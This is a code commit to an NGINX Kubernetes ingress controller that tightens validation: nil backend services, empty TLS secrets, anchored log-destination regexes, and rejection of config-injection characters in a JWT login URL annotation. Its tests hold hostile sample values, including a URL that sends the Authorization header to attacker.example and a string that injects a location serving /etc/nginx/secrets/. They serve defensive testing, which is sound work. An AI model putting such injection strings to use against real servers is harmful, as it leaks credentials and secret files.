Skip to content

Commit e0c662a

Browse files
vepatelpdabelf5
vepatel
authored and
pdabelf5
committed
various validation fixes
1 parent 112af74 commit e0c662a

14 files changed

Lines changed: 450 additions & 17 deletions

‎internal/configs/ingress.go‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -267,7 +267,7 @@ func generateNginxCfg(ncp NginxCfgParams) (version1.IngressNginxConfig, Warnings
267267
allWarnings := newWarnings()
268268
allWarnings.Add(rewriteTargetWarnings)
269269

270-
if ncp.ingEx.Ingress.Spec.DefaultBackend != nil {
270+
if ncp.ingEx.Ingress.Spec.DefaultBackend != nil && ncp.ingEx.Ingress.Spec.DefaultBackend.Service != nil {
271271
name := getNameForUpstream(ncp.ingEx.Ingress, emptyHostName, ncp.ingEx.Ingress.Spec.DefaultBackend)
272272
upstream, upsWarning := createUpstream(ncp.ingEx, name, ncp.ingEx.Ingress.Spec.DefaultBackend, spServices[ncp.ingEx.Ingress.Spec.DefaultBackend.Service.Name], &cfgParams,
273273
ncp.isPlus, ncp.isResolverConfigured, ncp.staticParams.EnableLatencyMetrics)
@@ -657,7 +657,7 @@ func generateNginxCfg(ncp NginxCfgParams) (version1.IngressNginxConfig, Warnings
657657
}
658658
}
659659

660-
if !rootLocation && ncp.ingEx.Ingress.Spec.DefaultBackend != nil {
660+
if !rootLocation && ncp.ingEx.Ingress.Spec.DefaultBackend != nil && ncp.ingEx.Ingress.Spec.DefaultBackend.Service != nil {
661661
upsName := getNameForUpstream(ncp.ingEx.Ingress, emptyHostName, ncp.ingEx.Ingress.Spec.DefaultBackend)
662662
ssl := isSSLEnabled(sslServices[ncp.ingEx.Ingress.Spec.DefaultBackend.Service.Name], cfgParams, ncp.staticParams)
663663
proxySSLName := generateProxySSLName(ncp.ingEx.Ingress.Spec.DefaultBackend.Service.Name, ncp.ingEx.Ingress.Namespace)

‎internal/configs/transportserver.go‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -148,6 +148,11 @@ func generateSSLConfig(ts *conf_v1.TransportServer, tls *conf_v1.TransportServer
148148
if tls == nil {
149149
return &version2.StreamSSL{Enabled: false}, nil
150150
}
151+
if tls.Secret == "" {
152+
warnings := newWarnings()
153+
warnings.AddWarning(ts, "TLS secret is empty. SSL termination will not be enabled for this server.")
154+
return &version2.StreamSSL{Enabled: false}, warnings
155+
}
151156

152157
warnings := newWarnings()
153158
sslEnabled := true

‎internal/configs/transportserver_test.go‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1872,6 +1872,14 @@ func TestGenerateTsSSLConfig(t *testing.T) {
18721872
},
18731873
msg: "wrong secret type",
18741874
},
1875+
{
1876+
inputTLS: &conf_v1.TransportServerTLS{
1877+
Secret: "",
1878+
},
1879+
inputSecretRefs: map[string]*secrets.SecretReference{},
1880+
expectedSSL: &version2.StreamSSL{Enabled: false},
1881+
msg: "secret is empty",
1882+
},
18751883
}
18761884

18771885
namespace := "default"

‎internal/k8s/appprotect_dos.go‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -279,7 +279,7 @@ func (lbc *LoadBalancerController) cleanupUnwatchedAppDosResources(nsi *namespac
279279
lbc.processAppProtectDosProblems(problems)
280280
}
281281
for _, obj := range nsi.appProtectDosProtectedLister.List() {
282-
dosPol := obj.((*unstructured.Unstructured))
282+
dosPol := obj.(*v1beta1.DosProtectedResource)
283283
namespace := dosPol.GetNamespace()
284284
name := dosPol.GetName()
285285

‎internal/k8s/configuration_test.go‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4355,6 +4355,11 @@ func createTestIngressMinion(name string, host string, path string) *networking.
43554355
Paths: []networking.HTTPIngressPath{
43564356
{
43574357
Path: path,
4358+
Backend: networking.IngressBackend{
4359+
Service: &networking.IngressServiceBackend{
4360+
Name: "test-svc",
4361+
},
4362+
},
43584363
},
43594364
},
43604365
},

‎internal/k8s/validation.go‎

Lines changed: 16 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -610,6 +610,16 @@ func validateJWTLoginURLAnnotation(context *annotationValidationContext) field.E
610610
return append(allErrs, field.Invalid(context.fieldPath, name, msg))
611611
}
612612

613+
if common_validation.ContainsDangerousChars(name) {
614+
msg = "must not contain characters that could cause NGINX config injection (;, {, }, $, newline, carriage return, or backtick)"
615+
return append(allErrs, field.Invalid(context.fieldPath, name, msg))
616+
}
617+
618+
if strings.ContainsAny(name, " \"\\#\t") {
619+
msg = "must not contain spaces, quotes, backslashes, hash or tab characters"
620+
return append(allErrs, field.Invalid(context.fieldPath, name, msg))
621+
}
622+
613623
return allErrs
614624
}
615625

@@ -852,7 +862,7 @@ func validateChallengeIngress(spec *networking.IngressSpec, fieldPath *field.Pat
852862

853863
allErrs := field.ErrorList{}
854864
if p.Backend.Service == nil {
855-
allErrs = append(allErrs, field.Required(fieldPath.Child("rules.HTTP.Paths[0].Backend.Service"), "challenge Ingress must have a Backend Service defined"))
865+
return append(allErrs, field.Required(fieldPath.Child("rules.HTTP.Paths[0].Backend.Service"), "challenge Ingress must have a Backend Service defined"))
856866
}
857867

858868
if p.Backend.Service.Port.Name != "" {
@@ -1272,9 +1282,9 @@ func validateIngressSpec(spec *networking.IngressSpec, fieldPath *field.Path, al
12721282
continue
12731283
}
12741284

1275-
for _, path := range r.HTTP.Paths {
1285+
for j, path := range r.HTTP.Paths {
12761286
path := path // address gosec G601
1277-
idxPath := idxRule.Child("http").Child("path").Index(i)
1287+
idxPath := idxRule.Child("http").Child("paths").Index(j)
12781288

12791289
allErrs = append(allErrs, validatePath(path.Path, path.PathType, idxPath.Child("path"))...)
12801290
allErrs = append(allErrs, validateBackend(&path.Backend, idxPath.Child("backend"))...)
@@ -1288,6 +1298,9 @@ func validateBackend(backend *networking.IngressBackend, fieldPath *field.Path)
12881298
if backend.Resource != nil {
12891299
return field.ErrorList{field.Forbidden(fieldPath.Child("resource"), "resource backends are not supported")}
12901300
}
1301+
if backend.Service == nil {
1302+
return field.ErrorList{field.Required(fieldPath.Child("service"), "service backend must be specified")}
1303+
}
12911304
return nil
12921305
}
12931306

‎internal/k8s/validation_test.go‎

Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -351,6 +351,11 @@ func TestValidateIngress(t *testing.T) {
351351
Paths: []networking.HTTPIngressPath{
352352
{
353353
Path: "/",
354+
Backend: networking.IngressBackend{
355+
Service: &networking.IngressServiceBackend{
356+
Name: "test-svc",
357+
},
358+
},
354359
},
355360
},
356361
},
@@ -2999,6 +3004,81 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
29993004
msg: fmt.Sprintf("invalid %s annotation, hostname missing", configs.JWTLoginURLAnnotation),
30003005
},
30013006

3007+
{
3008+
annotations: map[string]string{
3009+
configs.JWTLoginURLAnnotation: "https://login.example.com/path;return%20403",
3010+
},
3011+
specServices: map[string]bool{},
3012+
isPlus: true,
3013+
appProtectEnabled: false,
3014+
appProtectDosEnabled: false,
3015+
internalRoutesEnabled: false,
3016+
expectedErrors: []string{
3017+
fmt.Sprintf(`annotations.%s: Invalid value: "https://login.example.com/path;return%%20403": must not contain characters that could cause NGINX config injection (;, {, }, $, newline, carriage return, or backtick)`, configs.JWTLoginURLAnnotation),
3018+
},
3019+
msg: fmt.Sprintf("invalid %s annotation, contains semicolon injection", configs.JWTLoginURLAnnotation),
3020+
},
3021+
3022+
{
3023+
annotations: map[string]string{
3024+
configs.JWTLoginURLAnnotation: "https://attacker.example/leak?a=$http_authorization",
3025+
},
3026+
specServices: map[string]bool{},
3027+
isPlus: true,
3028+
appProtectEnabled: false,
3029+
appProtectDosEnabled: false,
3030+
internalRoutesEnabled: false,
3031+
expectedErrors: []string{
3032+
fmt.Sprintf(`annotations.%s: Invalid value: "https://attacker.example/leak?a=$http_authorization": must not contain characters that could cause NGINX config injection (;, {, }, $, newline, carriage return, or backtick)`, configs.JWTLoginURLAnnotation),
3033+
},
3034+
msg: fmt.Sprintf("invalid %s annotation, contains dollar sign variable expansion", configs.JWTLoginURLAnnotation),
3035+
},
3036+
3037+
{
3038+
annotations: map[string]string{
3039+
configs.JWTLoginURLAnnotation: "https://h/x;}location /pwned {alias /etc/nginx/secrets/;",
3040+
},
3041+
specServices: map[string]bool{},
3042+
isPlus: true,
3043+
appProtectEnabled: false,
3044+
appProtectDosEnabled: false,
3045+
internalRoutesEnabled: false,
3046+
expectedErrors: []string{
3047+
fmt.Sprintf(`annotations.%s: Invalid value: "https://h/x;}location /pwned {alias /etc/nginx/secrets/;": must not contain characters that could cause NGINX config injection (;, {, }, $, newline, carriage return, or backtick)`, configs.JWTLoginURLAnnotation),
3048+
},
3049+
msg: fmt.Sprintf("invalid %s annotation, contains braces and semicolons for block injection", configs.JWTLoginURLAnnotation),
3050+
},
3051+
3052+
{
3053+
annotations: map[string]string{
3054+
configs.JWTLoginURLAnnotation: "https://login.example.com/path with spaces",
3055+
},
3056+
specServices: map[string]bool{},
3057+
isPlus: true,
3058+
appProtectEnabled: false,
3059+
appProtectDosEnabled: false,
3060+
internalRoutesEnabled: false,
3061+
expectedErrors: []string{
3062+
fmt.Sprintf(`annotations.%s: Invalid value: "https://login.example.com/path with spaces": must not contain spaces, quotes, backslashes, hash or tab characters`, configs.JWTLoginURLAnnotation),
3063+
},
3064+
msg: fmt.Sprintf("invalid %s annotation, contains spaces", configs.JWTLoginURLAnnotation),
3065+
},
3066+
3067+
{
3068+
annotations: map[string]string{
3069+
configs.JWTLoginURLAnnotation: "https://login.example.com/path#test",
3070+
},
3071+
specServices: map[string]bool{},
3072+
isPlus: true,
3073+
appProtectEnabled: false,
3074+
appProtectDosEnabled: false,
3075+
internalRoutesEnabled: false,
3076+
expectedErrors: []string{
3077+
fmt.Sprintf(`annotations.%s: Invalid value: "https://login.example.com/path#test": must not contain spaces, quotes, backslashes, hash or tab characters`, configs.JWTLoginURLAnnotation),
3078+
},
3079+
msg: fmt.Sprintf("invalid %s annotation, contains hash character", configs.JWTLoginURLAnnotation),
3080+
},
3081+
30023082
{
30033083
annotations: map[string]string{
30043084
"nginx.org/listen-ports": "80,8080,9090,44313",
@@ -5190,6 +5270,43 @@ func TestValidateIngressSpec(t *testing.T) {
51905270
},
51915271
msg: "invalid default backend",
51925272
},
5273+
{
5274+
spec: &networking.IngressSpec{
5275+
DefaultBackend: &networking.IngressBackend{},
5276+
Rules: []networking.IngressRule{
5277+
{
5278+
Host: "foo.example.com",
5279+
},
5280+
},
5281+
},
5282+
expectedErrors: []field.ErrorType{
5283+
field.ErrorTypeRequired,
5284+
},
5285+
msg: "empty default backend with nil service",
5286+
},
5287+
{
5288+
spec: &networking.IngressSpec{
5289+
Rules: []networking.IngressRule{
5290+
{
5291+
Host: "foo.example.com",
5292+
IngressRuleValue: networking.IngressRuleValue{
5293+
HTTP: &networking.HTTPIngressRuleValue{
5294+
Paths: []networking.HTTPIngressPath{
5295+
{
5296+
Path: "/",
5297+
Backend: networking.IngressBackend{},
5298+
},
5299+
},
5300+
},
5301+
},
5302+
},
5303+
},
5304+
},
5305+
expectedErrors: []field.ErrorType{
5306+
field.ErrorTypeRequired,
5307+
},
5308+
msg: "empty path backend with nil service",
5309+
},
51935310
{
51945311
spec: &networking.IngressSpec{
51955312
Rules: []networking.IngressRule{
@@ -5254,6 +5371,104 @@ func TestValidateIngressSpec(t *testing.T) {
52545371
}
52555372
}
52565373

5374+
func TestValidateChallengeIngress(t *testing.T) {
5375+
t.Parallel()
5376+
5377+
tests := []struct {
5378+
spec *networking.IngressSpec
5379+
expectedErrors []string
5380+
msg string
5381+
}{
5382+
{
5383+
spec: &networking.IngressSpec{
5384+
Rules: []networking.IngressRule{
5385+
{
5386+
Host: "foo.example.com",
5387+
IngressRuleValue: networking.IngressRuleValue{
5388+
HTTP: &networking.HTTPIngressRuleValue{
5389+
Paths: []networking.HTTPIngressPath{
5390+
{
5391+
Path: "/",
5392+
Backend: networking.IngressBackend{
5393+
Service: &networking.IngressServiceBackend{
5394+
Name: "svc",
5395+
Port: networking.ServiceBackendPort{Number: 8080},
5396+
},
5397+
},
5398+
},
5399+
},
5400+
},
5401+
},
5402+
},
5403+
},
5404+
},
5405+
expectedErrors: nil,
5406+
msg: "valid input",
5407+
},
5408+
{
5409+
spec: &networking.IngressSpec{
5410+
Rules: []networking.IngressRule{
5411+
{
5412+
Host: "foo.example.com",
5413+
IngressRuleValue: networking.IngressRuleValue{
5414+
HTTP: &networking.HTTPIngressRuleValue{
5415+
Paths: []networking.HTTPIngressPath{
5416+
{
5417+
Path: "/",
5418+
Backend: networking.IngressBackend{
5419+
Resource: &v1.TypedLocalObjectReference{},
5420+
},
5421+
},
5422+
},
5423+
},
5424+
},
5425+
},
5426+
},
5427+
},
5428+
expectedErrors: []string{
5429+
`spec.rules.HTTP.Paths[0].Backend.Service: Required value: challenge Ingress must have a Backend Service defined`,
5430+
},
5431+
msg: "resource backend is rejected",
5432+
},
5433+
{
5434+
spec: &networking.IngressSpec{
5435+
Rules: []networking.IngressRule{
5436+
{
5437+
Host: "foo.example.com",
5438+
IngressRuleValue: networking.IngressRuleValue{
5439+
HTTP: &networking.HTTPIngressRuleValue{
5440+
Paths: []networking.HTTPIngressPath{
5441+
{
5442+
Path: "/",
5443+
Backend: networking.IngressBackend{
5444+
Service: &networking.IngressServiceBackend{
5445+
Name: "svc",
5446+
Port: networking.ServiceBackendPort{Name: "http"},
5447+
},
5448+
},
5449+
},
5450+
},
5451+
},
5452+
},
5453+
},
5454+
},
5455+
},
5456+
expectedErrors: []string{
5457+
`spec.rules.HTTP.Paths[0].Backend.Service.Port.Name: Forbidden: challenge Ingress must have a Backend Service Port Number defined, not Name`,
5458+
},
5459+
msg: "named service port is forbidden",
5460+
},
5461+
}
5462+
5463+
for _, test := range tests {
5464+
allErrs := validateChallengeIngress(test.spec, field.NewPath("spec"))
5465+
assertion := assertErrors("validateChallengeIngress()", test.msg, allErrs, test.expectedErrors)
5466+
if assertion != "" {
5467+
t.Error(assertion)
5468+
}
5469+
}
5470+
}
5471+
52575472
func TestValidateMasterSpec(t *testing.T) {
52585473
t.Parallel()
52595474
tests := []struct {

‎pkg/apis/configuration/validation/appprotect_common.go‎

Lines changed: 19 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -39,14 +39,30 @@ func ValidateRequiredFields(obj *unstructured.Unstructured, fieldsList [][]strin
3939
}
4040

4141
var (
42-
logDstEx = regexp.MustCompile(`(?:syslog:server=((?:\d{1,3}\.){3}\d{1,3}|localhost|[a-zA-Z0-9._-]+):\d{1,5})|stderr|(?:\/[\S]+)+`)
43-
logDstFileEx = regexp.MustCompile(`(?:\/[\S]+)+`)
44-
logDstFQDNEx = regexp.MustCompile(`(?:[a-zA-Z0-9_-]+\.)+[a-zA-Z0-9_-]+`)
42+
// logDstEx matches a valid log destination: a syslog target (IP, localhost, or FQDN with port), "stderr", or an absolute file path.
43+
// Allowed: syslog:server=<ip|localhost|fqdn>:<port>, stderr, /path/to/file.
44+
// Blocked: relative paths, stdout, empty strings, partial/substring matches, whitespace in paths.
45+
logDstEx = regexp.MustCompile(`^(?:(?:syslog:server=(?:(?:\d{1,3}\.){3}\d{1,3}|localhost|[a-zA-Z0-9._-]+):\d{1,5})|stderr|(?:\/\S+)+)$`)
46+
47+
// logDstFileEx matches an absolute file path: one or more /segment sequences.
48+
// Allowed: /var/log/ap.log, /tmp/log.
49+
// Blocked: relative paths, bare filenames, paths containing whitespace.
50+
logDstFileEx = regexp.MustCompile(`^(?:\/[\S]+)+$`)
51+
52+
// logDstFQDNEx matches a fully qualified domain name: dot-separated labels of alphanumeric characters, hyphens, or underscores.
53+
// Allowed: my-syslog.example.com, server_1.ns.
54+
// Blocked: bare hostnames without dots (e.g., localhost), IP addresses, empty strings.
55+
logDstFQDNEx = regexp.MustCompile(`^(?:[a-zA-Z0-9_-]+\.)+[a-zA-Z0-9_-]+$`)
4556
)
4657

4758
// ValidateAppProtectLogDestination validates destination for log configuration
4859
func ValidateAppProtectLogDestination(dstAntn string) error {
4960
errormsg := "error parsing App Protect Log config: Destination must follow format: syslog:server=<ip-address | localhost>:<port> or fqdn or stderr or absolute path to file"
61+
62+
if ContainsDangerousChars(dstAntn) {
63+
return fmt.Errorf("%s Log Destination contains dangerous characters", errormsg)
64+
}
65+
5066
if !logDstEx.MatchString(dstAntn) {
5167
return fmt.Errorf("%s Log Destination did not follow format", errormsg)
5268
}

0 commit comments

Comments
 (0)